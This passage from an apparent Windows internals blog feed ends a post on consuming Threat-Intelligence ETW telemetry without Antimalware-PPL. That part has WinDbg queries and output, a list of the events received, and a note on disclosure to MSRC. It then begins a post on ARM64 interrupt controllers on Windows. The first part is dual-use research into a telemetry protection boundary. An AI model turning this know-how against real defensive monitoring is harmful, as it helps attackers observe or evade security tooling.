<span class="p">((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_WMI_LOGGER_CONTEXT</span><span class="o">*</span><span class="p">(</span><span class="o">*</span><span class="p">)[</span><span class="mh">0x50</span><span class="p">])(((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_ESERVERSILO_GLOBALS</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="nx">nt</span><span class="o">!</span><span class="nx">PspHostSiloGlobals</span><span class="p">)</span><span class="o">-&gt;</span><span class="nx">EtwSiloState</span><span class="o">-&gt;</span><span class="nx">EtwpLoggerContext</span><span class="p">))</span><span class="o">-&gt;</span><span class="nx">Where</span><span class="p">(</span><span class="nx">l</span> <span class="o">=&gt;</span> <span class="nx">l</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">).</span><span class="nx">Where</span><span class="p">(</span><span class="nx">l</span> <span class="o">=&gt;</span> <span class="nx">l</span><span class="o">-&gt;</span><span class="nx">SecurityTrace</span> <span class="o">==</span> <span class="mi">1</span><span class="p">).</span><span class="nx">Select</span><span class="p">(</span><span class="nx">i</span> <span class="o">=&gt;</span> <span class="k">new</span> <span class="p">{</span> <span class="nx">Name</span> <span class="o">=</span> <span class="nx">i</span><span class="o">-&gt;</span><span class="nx">LoggerName</span><span class="p">,</span> <span class="nx">Consumers</span> <span class="o">=</span> <span class="nx">Debugger</span><span class="p">.</span><span class="nx">Utility</span><span class="p">.</span><span class="nx">Collections</span><span class="p">.</span><span class="nx">FromListEntry</span><span class="p">(</span><span class="nx">i</span><span class="o">-&gt;</span><span class="nx">Consumers</span><span class="p">,</span> <span class="dl">"</span><span class="s2">nt!_ETW_REALTIME_CONSUMER</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Links</span><span class="dl">"</span><span class="p">)})[</span><span class="mi">0</span><span class="nx">n4</span><span class="p">].</span><span class="nx">Consumers</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>                 <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_ETW_REALTIME_CONSUMER</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x000</span><span class="p">]</span> <span class="nx">Links</span>            <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_LIST_ENTRY</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x010</span><span class="p">]</span> <span class="nx">ProcessHandle</span>    <span class="p">:</span> <span class="mh">0xffffffff800037b0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="k">void</span> <span class="o">*</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x018</span><span class="p">]</span> <span class="nx">ProcessObject</span>    <span class="p">:</span> <span class="mh">0xffffa58900524080</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_EPROCESS</span> <span class="o">*</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x020</span><span class="p">]</span> <span class="nx">NextNotDelivered</span> <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="k">void</span> <span class="o">*</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x028</span><span class="p">]</span> <span class="nx">RealtimeConnectContext</span> <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="k">void</span> <span class="o">*</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x030</span><span class="p">]</span> <span class="nx">DisconnectEvent</span>  <span class="p">:</span> <span class="mh">0xffffa5890188e2e0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_KEVENT</span> <span class="o">*</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x038</span><span class="p">]</span> <span class="nx">DataAvailableEvent</span> <span class="p">:</span> <span class="mh">0xffffa5890188e760</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_KEVENT</span> <span class="o">*</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x040</span><span class="p">]</span> <span class="nx">UserBufferCount</span>  <span class="p">:</span> <span class="mh">0x202d0255450</span> <span class="p">:</span> <span class="nx">Unable</span> <span class="nx">to</span> <span class="nx">read</span> <span class="nx">memory</span> <span class="nx">at</span> <span class="nx">Address</span> <span class="mh">0x202d0255450</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">long</span> <span class="o">*</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x048</span><span class="p">]</span> <span class="nx">UserBufferListHead</span> <span class="p">:</span> <span class="mh">0x202d0255448</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_SINGLE_LIST_ENTRY</span> <span class="o">*</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x050</span><span class="p">]</span> <span class="nx">BuffersLost</span>      <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">long</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x054</span><span class="p">]</span> <span class="nx">EmptyBuffersCount</span> <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">long</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x058</span><span class="p">]</span> <span class="nx">LoggerId</span>         <span class="p">:</span> <span class="mh">0x4</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">short</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x05a</span><span class="p">]</span> <span class="nx">Flags</span>            <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">char</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x05a</span> <span class="p">(</span> <span class="mi">0</span><span class="p">:</span> <span class="mi">0</span><span class="p">)]</span> <span class="nx">ShutDownRequested</span> <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">char</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x05a</span> <span class="p">(</span> <span class="mi">1</span><span class="p">:</span> <span class="mi">1</span><span class="p">)]</span> <span class="nx">NewBuffersLost</span>   <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">char</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x05a</span> <span class="p">(</span> <span class="mi">2</span><span class="p">:</span> <span class="mi">2</span><span class="p">)]</span> <span class="nx">Disconnected</span>     <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">char</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x05a</span> <span class="p">(</span> <span class="mi">3</span><span class="p">:</span> <span class="mi">3</span><span class="p">)]</span> <span class="nx">Notified</span>         <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">char</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x05a</span> <span class="p">(</span> <span class="mi">4</span><span class="p">:</span> <span class="mi">4</span><span class="p">)]</span> <span class="nx">Wow</span>              <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">char</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x060</span><span class="p">]</span> <span class="nx">ReservedBufferSpaceBitMap</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_RTL_BITMAP</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x070</span><span class="p">]</span> <span class="nx">ReservedBufferSpace</span> <span class="p">:</span> <span class="mh">0x202d0360000</span> <span class="p">:</span> <span class="nx">Unable</span> <span class="nx">to</span> <span class="nx">read</span> <span class="nx">memory</span> <span class="nx">at</span> <span class="nx">Address</span> <span class="mh">0x202d0360000</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">char</span> <span class="o">*</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x078</span><span class="p">]</span> <span class="nx">ReservedBufferSpaceSize</span> <span class="p">:</span> <span class="mh">0x80000</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">long</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x07c</span><span class="p">]</span> <span class="nx">UserPagesAllocated</span> <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">long</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x080</span><span class="p">]</span> <span class="nx">UserPagesReused</span>  <span class="p">:</span> <span class="mh">0x3d</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">long</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x088</span><span class="p">]</span> <span class="nx">EventsLostCount</span>  <span class="p">:</span> <span class="mh">0x202d0255368</span> <span class="p">:</span> <span class="nx">Unable</span> <span class="nx">to</span> <span class="nx">read</span> <span class="nx">memory</span> <span class="nx">at</span> <span class="nx">Address</span> <span class="mh">0x202d0255368</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">long</span> <span class="o">*</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x090</span><span class="p">]</span> <span class="nx">BuffersLostCount</span> <span class="p">:</span> <span class="mh">0x202d025536c</span> <span class="p">:</span> <span class="nx">Unable</span> <span class="nx">to</span> <span class="nx">read</span> <span class="nx">memory</span> <span class="nx">at</span> <span class="nx">Address</span> <span class="mh">0x202d025536c</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">long</span> <span class="o">*</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x098</span><span class="p">]</span> <span class="nx">SiloState</span>        <span class="p">:</span> <span class="mh">0xffffa588f8631000</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_ETW_SILODRIVERSTATE</span> <span class="o">*</span><span class="p">]</span>

<span class="mi">3</span><span class="p">:</span> <span class="nx">kd</span><span class="o">&gt;</span> <span class="nx">dx</span> <span class="p">((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_EPROCESS</span><span class="o">*</span><span class="p">)</span><span class="mh">0xffffa58900524080</span><span class="p">)</span><span class="o">-&gt;</span><span class="nx">Protection</span>
<span class="p">((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_EPROCESS</span><span class="o">*</span><span class="p">)</span><span class="mh">0xffffa58900524080</span><span class="p">)</span><span class="o">-&gt;</span><span class="nx">Protection</span>                 <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">_PS_PROTECTION</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x000</span><span class="p">]</span> <span class="nx">Level</span>            <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">char</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x000</span> <span class="p">(</span> <span class="mi">2</span><span class="p">:</span> <span class="mi">0</span><span class="p">)]</span> <span class="nx">Type</span>             <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">char</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x000</span> <span class="p">(</span> <span class="mi">3</span><span class="p">:</span> <span class="mi">3</span><span class="p">)]</span> <span class="nx">Audit</span>            <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">char</span><span class="p">]</span>
    <span class="p">[</span><span class="o">+</span><span class="mh">0x000</span> <span class="p">(</span> <span class="mi">7</span><span class="p">:</span> <span class="mi">4</span><span class="p">)]</span> <span class="nx">Signer</span>           <span class="p">:</span> <span class="mh">0x0</span> <span class="p">[</span><span class="nx">Type</span><span class="p">:</span> <span class="nx">unsigned</span> <span class="nx">char</span><span class="p">]</span>
</code></pre></div></div>

<p>As a point of contention for the reader, it is worth noting that this POC is not capable of enabling sources of telemetry which are disabled by default on processes. For example, one still needs Antimalware-PPL in order to call <code class="language-plaintext highlighter-rouge">NtSetInformationProcess</code> to enable <a href="https://jonny-johnson.medium.com/behind-the-mask-unpacking-impersonation-events-fca909e08d00">impersonation events</a> - which have to be explicitly enabled through this privileged system call that this POC is incapable of making. The method outlined here is capable of consuming the following telemetry by default (telemetry that is emitted without a separate privileged system call being made to enable it on a per-process basis):</p>
<ol>
  <li>Executable memory allocation events (user-mode and kernel-mode callers)</li>
  <li>Executable memory mapping events (user-mode and kernel-mode callers)</li>
  <li>Remote APC events (user-mode)</li>
  <li>Thread context update events (SetThreadContext)</li>
  <li>Kernel-mode device and driver load and unload events</li>
  <li><a href="https://windows-internals.com/an-end-to-kaslr-bypasses/">System call events</a>. At the time this blog post was written, this includes only NtSystemDebugControl and NtQuerySystemInformation system calls</li>
</ol>

<p>However, it is also worth pointing out that on the latest Insider Preview version of Windows (Canary channel), there are several processes which have already been opted-in to the “optional” telemetry (including memory protection, process/thread suspension, and other events). This means that using the methodology outlined in this blog post will result in receiving such events “for free”. This is a result of Microsoft Defender invoking the functionality, since it is a process running at Antimalware-PPL, for enabling the other “optional” telemetry bits.</p>

<p><img src="/images/securitytrace19.png" alt="" /></p>

<p>A list of all processes which have opted-in to the optional Threat-Intelligence telemetry can be seen below:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">dx</span> <span class="o">-</span><span class="nx">g</span> <span class="p">@</span><span class="nx">$cursession</span><span class="p">.</span><span class="nx">Processes</span><span class="p">.</span><span class="nx">Where</span><span class="p">(</span><span class="nx">p</span> <span class="o">=&gt;</span> <span class="p">(</span><span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableProcessImpersonationLogging</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">||</span> <span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableProcessLocalExecProtectVmLogging</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="o">||</span> <span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableProcessRemoteExecProtectVmLogging</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">||</span> <span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableProcessSuspendResumeLogging</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">||</span> <span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableReadVmLogging</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">||</span> <span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableThreadSuspendResumeLogging</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">||</span> <span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableWriteVmLogging</span> <span class="o">==</span> <span class="mi">1</span><span class="p">).</span><span class="nx">Select</span><span class="p">(</span><span class="nx">p</span> <span class="o">=&gt;</span> <span class="k">new</span> <span class="p">{</span> <span class="nx">Name</span> <span class="o">=</span> <span class="nx">p</span><span class="o">-&gt;</span><span class="nx">Name</span><span class="p">,</span> <span class="nx">EnableProcessImpersonationLogging</span> <span class="o">=</span> <span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableProcessImpersonationLogging</span><span class="p">,</span> <span class="nx">EnableProcessLocalExecProtectVmLogging</span> <span class="o">=</span> <span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableProcessLocalExecProtectVmLogging</span><span class="p">,</span> <span class="nx">EnableProcessRemoteExecProtectVmLogging</span> <span class="o">=</span> <span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableProcessRemoteExecProtectVmLogging</span><span class="p">,</span> <span class="nx">EnableProcessSuspendResumeLogging</span> <span class="o">=</span> <span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableProcessSuspendResumeLogging</span><span class="p">,</span> <span class="nx">EnableReadVmLogging</span>  <span class="o">=</span> <span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableReadVmLogging</span><span class="p">,</span> <span class="nx">EnableThreadSuspendResumeLogging</span> <span class="o">=</span> <span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableThreadSuspendResumeLogging</span><span class="p">,</span> <span class="nx">EnableWriteVmLogging</span> <span class="o">=</span> <span class="nx">p</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">EnableWriteVmLogging</span> <span class="p">}),</span><span class="nx">d</span>
</code></pre></div></div>

<p><img src="/images/securitytrace20.png" alt="" /></p>

<h2 id="conclusion">Conclusion</h2>
<p>We have coordinated with Microsoft the findings in this blog post and MSRC has concluded no vulnerability exists due to the administrative &lt;-&gt; PPL boundary which is not enforceable. The <code class="language-plaintext highlighter-rouge">SecurityTrace</code> is a pretty obscure and undocumented flag that we found interesting as a result of research we were conducting within the <a href="https://www.originhq.com/">Origin (By Prelude)</a> company - in order to better protect our customers. This blog post would also be incomplete without any recommendation - which would be to move such a check for <code class="language-plaintext highlighter-rouge">SecurityTrace</code> traces to the kernel and not delegate it to user-mode. Thank you for reading and we hope you enjoyed this blog post!</p>]]></content><author><name>Connor McGarr</name></author><category term="posts" /><summary type="html"><![CDATA[Consuming from Microsoft-Windows-Threat-Intelligence without Antimalware-PPL or kernel patching/driver loading.]]></summary></entry><entry><title type="html">Windows ARM64 Internals: Pardon The Interruption! Interrupts on Windows for ARM</title><link href="/windows-arm64-interrupts/" rel="alternate" type="text/html" title="Windows ARM64 Internals: Pardon The Interruption! Interrupts on Windows for ARM" /><published>2026-01-02T00:00:00+00:00</published><updated>2026-01-02T00:00:00+00:00</updated><id>/windows-arm64-interrupts</id><content type="html" xml:base="/windows-arm64-interrupts/"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Recently, I posted a <a href="https://connormcgarr.github.io/arm64-windows-internals-basics/">blog</a> which introduced some building blocks related to Windows on ARM (WoA) systems. I have always “known” that interrupts are fairly architecture-specific, and that the implementation of an “interrupt schema” can differ based on this notion. Given this, I thought it would be interesting to investigate the interrupt functionality surrounding WoA systems.</p>

<p>In this blog post, there are likely going to be many omissions - including the fact that (Generic Interrupt Controller) GICv4 systems allow the <a href="https://www.systemonchips.com/direct-injection-of-virtual-interrupts-in-arm-gicv4-overcoming-hypervisor-overhead/">direct injection</a> of virtual interrupts (my WoA system, for instance, is only on GIC version 3), and many other nuances surrounding virtualization and interrupts in general (although we will touch on virtualization and Secure Kernel “secure interrupts”).</p>

<p>Lastly, this blog post is not meant to be a regurgitation of the existing ARM documentation about low-level interrupt details - although certainly some of this knowledge will be required, and is also outlined in this blog where applicable. This blog, instead, is focused on the theme of a previous blog I did on ARM64 Windows internals - showcasing the basics of ARM64 to Windows researchers who come from an x64 background, like myself, and to outline the differences between x64 and ARM64 interrupt dispatching on Windows systems.</p>

<h2 id="generic-interrupt-controller-gic-overview">Generic Interrupt Controller (GIC) Overview</h2>
<p>One of the main differences between the traditional Intel-based x86 architecture and ARM is the employment, by ARM, of the <em>Generic Interrupt Controller</em> - or GIC. The Advanced Programmable Interrupt Controller (APIC) is the controller which most are probably familiar with, who come from a Windows background. This is because this is Intel’s family of interrupt controllers - with most Windows machines running on Intel.</p>

<p>The GIC, on ARM, has seen several iterations. The Surface Pro machine in which this analysis was performed leverages GICv3. However - ARM now has documentation for GICv5. This was announced a <a href="https://developer.arm.com/community/arm-community-blogs/b/architectures-and-processors-blog/posts/introducing-gicv5">few months ago</a> by ARM. This section of the blog is just meant to introduce the basics, and the curious reader should visit the <a href="https://developer.arm.com/documentation/198123/0302/Arm-GIC-fundamentals">ARM documentation</a> for more information.</p>

<p>The main purpose of the implementation of a GIC on an ARM system is a standardized way to handle interrupts. The below image, from ARM, provides a high-level overview of GIC interrupt delivery.</p>

<p><img src="/images/arminterrupt-1.png" alt="" /></p>

<p>This section of the blog will not act as a “glossary” of terms surrounding GIC features. ARM provides <a href="https://developer.arm.com/documentation/198123/0302/Arm-GIC-fundamentals">documentation</a> surrounding lower-level details. For our purposes, it is - however - worth mentioning the following specifically surrounding what is present in GICv3 (although not necessarily <em>new</em> to GICv3):</p>

<ul>
  <li>There are two types of interrupts: IRQ and FIQ
    <ul>
      <li>IRQ is a standard interrupt request at <em>normal</em> priority.</li>
      <li>FIQ is a <em>fast</em> interrupt request which is <em>higher</em> priority than an IRQ.</li>
    </ul>
  </li>
  <li>There are four main “sources” of interrupts:
    <ul>
      <li>External (Shared Peripheral Interrupt, or SPI). This is <em>external</em> in the sense that the interrupt can be delivered to any processor.</li>
      <li>Internal (Private/Per-Processor Peripheral Interrupt, or PPI). This is <em>private</em> to a particular processor. An example of a PPI would be a performance interrupt being generated on a particular processor. The PMU is a per-CPU construct and a target’s CPU can be configured for generation of performance-related information in which an interrupt is generated when certain conditions are true - resulting in a PPI.</li>
      <li>Software-based (Software Generated Interrupt, or SGI). The “ARM” version of an IPI - or <em>Inter-processor interrupt</em> (when a core sends an interrupt to another core)</li>
      <li>Locality-specific (Locality-specific Peripheral Interrupt, or LPI): These are <em>always</em> message-based interrupts which can be generated from an <em>Interrupt Translation Services</em>, or ITS.</li>
    </ul>
  </li>
  <li>Although Windows, as mentioned in a <a href="https://connormcgarr.github.io/arm64-windows-internals-basics/">previous</a> blog post, doesn’t really use TrustZone with VBS enabled (VTLs provide non-secure/secure world functionality) - interrupts are <em>also</em> divided between “secure” and “non-secure” (related to TrustedZone security states)</li>
  <li>A GIC allows for providing virtual interrupt functionality (vGIC) for hypervisors (with nuances based on the GIC version. More on this later.)</li>
</ul>

<p>In addition to handling interrupts which fire from an “interrupt signal”, from hardware (referred to sometimes as hardware “buzzing” or “poking” the interrupt controller) GICs <em>also</em> support message-based interrupts. The delivery mechanism for these interrupts vary slightly (more on this later). Given that each interrupt source are made up of <em>multiple</em> interrupt IDs (INTIDs) (e.g., interrupt IDs 0-15 are SGIs, 16-31 are PPIs, etc.) this allows not every single ID to need to be physically wired.</p>

<p>Notice above we refer to <em>interrupt sources</em> - which are represented by a particular INTID - which maps to an “interrupt line” (with a particular “group” of sources, e.g., SPI, PPI, etc.). Interrupts “come” from interrupt sources. Lastly, before we get into the Windows implementation, let’s summarize a four of the important structures in the GIC architecture which are collectively referred to as the <em>Interrupt Routing Infrastructure</em>, or IRI. The IRI and interrupt-routing scheme, taken from the Arm Generic Interrupt Controller Architecture Specification, looks as follows.</p>

<p><img src="/images/arminterrupt-1b.png" alt="" /></p>

<h2 id="gic-distributor">GIC Distributor</h2>
<p>The GIC distributor is the “brain” of the interrupt schema - and all <em>physical</em> interrupt sources are wired to this component. It is a physically present on a particular SoC (system on a chip, which is how ARM integrates the CPU/GPU/memory controllers/peripherals/etc. into a “single chip”) and it is always accessible via physical memory and not a system register (but the Windows kernel also maps it into virtual memory). There is a <em>single</em> distributor structure on a system.</p>

<p>The distributor primarily prioritzes and distributes physical interrupts to the redistributors (and CPU interfaces). This is especially true for SPIs, which are “external” to a particular CPU in the sense that the distributor must route the interrupt to the specific CPU.</p>

<p>The distributor is involved in software-generated interrupts (like IPIs, even though the interrupts <em>originate</em> from a particular processor) and facilitates routing. However, for interrupts specific to a CPU (like PPI) the distributor does <em>not</em> need to be involved.</p>

<h2 id="gic-redistributor">GIC Redistributor</h2>
<p>Redistributors are <em>per-CPU</em> structures - and there is only <em>one</em> redistributor per CPU. The redistributor receives SPIs that are routed from the interrupt source to the distributor. Redistributors have a few more “moving parts”, or nuances.</p>

<p>In addition, when <em>software-initialited</em> interrupts (like an inter-processor interrupt requested from software) occur (SGIs), they are generated by both the “issuing” CPU interface and redistributor. From these components, they are then routed to the distributor and then the <em>target</em> CPU’s redistributor and CPU interface receive the interrupt.</p>

<p>PPIs are interrupts which are <em>local</em> to a specific CPU. Because of this, the distributor is not needed at all. The interrupt source interrupt is directly routed to the CPU’s redistributor. Additionally, LPIs are routed to a target redistributor.</p>

<h2 id="gic-cpu-interface">GIC CPU Interface</h2>
<p>The various CPU interfaces, then, become the mechansim to which a core actually receives an interrupt. There is both a <em>physical</em> CPU interface and a <em>virtual</em> CPU interface present (but for now when we refer to the “CPU interface” we are referring to the <em>physical</em> interface). The CPU interface is accessible through system registers (or memory-mapped interface, but Windows uses the system registers). This means the registers can be used to mask interrupts and control the state of interrupts on the CPU.</p>

<h2 id="gic-interrupt-translation-services-its">GIC Interrupt Translation Services (ITS)</h2>
<p>The ITS is an <em>optional</em> (for GICv3, which our machine is using). The ITS has a primary usage - message-based interrupts (MSIs). The ITS, when it is present, is responsible for routing LPIs (which represent message-based interrupts) to a target CPU’s redistributor. They are also responsible for actually translating the MSI request (message-based interrupt) into an LPI.</p>

<p>The Surface Pro machine in which this analysis was conducted on <em>does</em> implement an ITS. However, because the OS is virtualized Hyper-V does not expose it to the root partition (thank you to <a href="https://x.com/never_released">Longhorn</a> for pointing this out). GIC4 requires an ITS because GIC4 needs to support virtual LPIs due to support for direct injection of virtual interrupts to a VM without involving the hypervisor.</p>

<p><img src="/images/arminterrupt-1a.png" alt="" /></p>

<p>Lastly, the following image summarizes the basic interrupt routine schema - taken once again from ARM documentation.</p>

<p><img src="/images/arminterrupt-1c.png" alt="" /></p>

<h2 id="windows-on-arm-interrupt-initialization-and-discovery">Windows on ARM Interrupt Initialization And Discovery</h2>
<p>Although there are some references to interrupt functionality before it, we will start at <code class="language-plaintext highlighter-rouge">nt!HalpInitializeInterrupts</code>. This function is responsible for most of the interrupt discovery and initialization that we care about. <code class="language-plaintext highlighter-rouge">nt!HalpInitializeInterrupts</code> receives a single parameter - the loader parameter block, from the bootloader, represented by the <code class="language-plaintext highlighter-rouge">nt!_LOADER_PARAMETER_BLOCK</code> structure.</p>

<p>One of the first things this function does is to perform “GIC” discovery. The kernel will attempt to first discover GICv3, and will “default” to checking if GICv1 is available.</p>

<p><img src="/images/arminterrupt-2.png" alt="" /></p>

<blockquote>
  <p>As a point of contention, <code class="language-plaintext highlighter-rouge">nt!HalSetInterruptProblem</code> accepts a parameter to a value from the <code class="language-plaintext highlighter-rouge">INTERRUPT_PROBLEM</code> enum. For ARM devices, the following are valid values, which can help aid in debugging/determining what is occuring. For example, in this case the error from the above image denotes that discovery is occuring (<code class="language-plaintext highlighter-rouge">InterruptProblemFailedDiscovery</code>):</p>
</blockquote>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lkd&gt; dt nt!_INTERRUPT_PROBLEM
   InterruptProblemNone = 0n0
   InterruptProblemMadtParsingFailure = 0n1
   InterruptProblemNoControllersFound = 0n2
   InterruptProblemFailedDiscovery = 0n3
   InterruptProblemInitializeLocalUnitFailed = 0n4
   InterruptProblemInitializeIoUnitFailed = 0n5
   InterruptProblemSetLogicalIdFailed = 0n6
   InterruptProblemSetLineStateFailed = 0n7
   InterruptProblemGenerateMessageFailed = 0n8
   InterruptProblemConvertIdFailed = 0n9
   InterruptProblemCmciSetupFailed = 0n10
   InterruptProblemQueryMaxProcessorsCalledTooEarly = 0n11
   InterruptProblemProcessorReset = 0n12
   InterruptProblemStartProcessorFailed = 0n13
   InterruptProblemProcessorNotAlive = 0n14
   InterruptProblemLowerIrqlViolation = 0n15
   InterruptProblemInvalidIrql = 0n16
   InterruptProblemNoSuchController = 0n17
   InterruptProblemNoSuchLines = 0n18
   InterruptProblemBadConnectionData = 0n19
   InterruptProblemBadRoutingData = 0n20
   InterruptProblemInvalidProcessor = 0n21
   InterruptProblemFailedToAttainTarget = 0n22
   InterruptProblemUnsupportedWiringConfiguration = 0n23
   InterruptProblemSpareAlreadyStarted = 0n24
   InterruptProblemClusterNotFullyReplaced = 0n25
   InterruptProblemNewClusterAlreadyActive = 0n26
   InterruptProblemNewClusterTooLarge = 0n27
   InterruptProblemCannotHardwareQuiesce = 0n28
   InterruptProblemIpiDestinationUpdateFailed = 0n29
   InterruptProblemNoMemory = 0n30
   InterruptProblemNoIrtEntries = 0n31
   InterruptProblemConnectionDataBaitAndSwitch = 0n32
   InterruptProblemInvalidLogicalFlatId = 0n33
   InterruptProblemDeinitializeLocalUnitFailed = 0n34
   InterruptProblemDeinitializeIoUnitFailed = 0n35
   InterruptProblemMismatchedThermalLvtIsr = 0n36
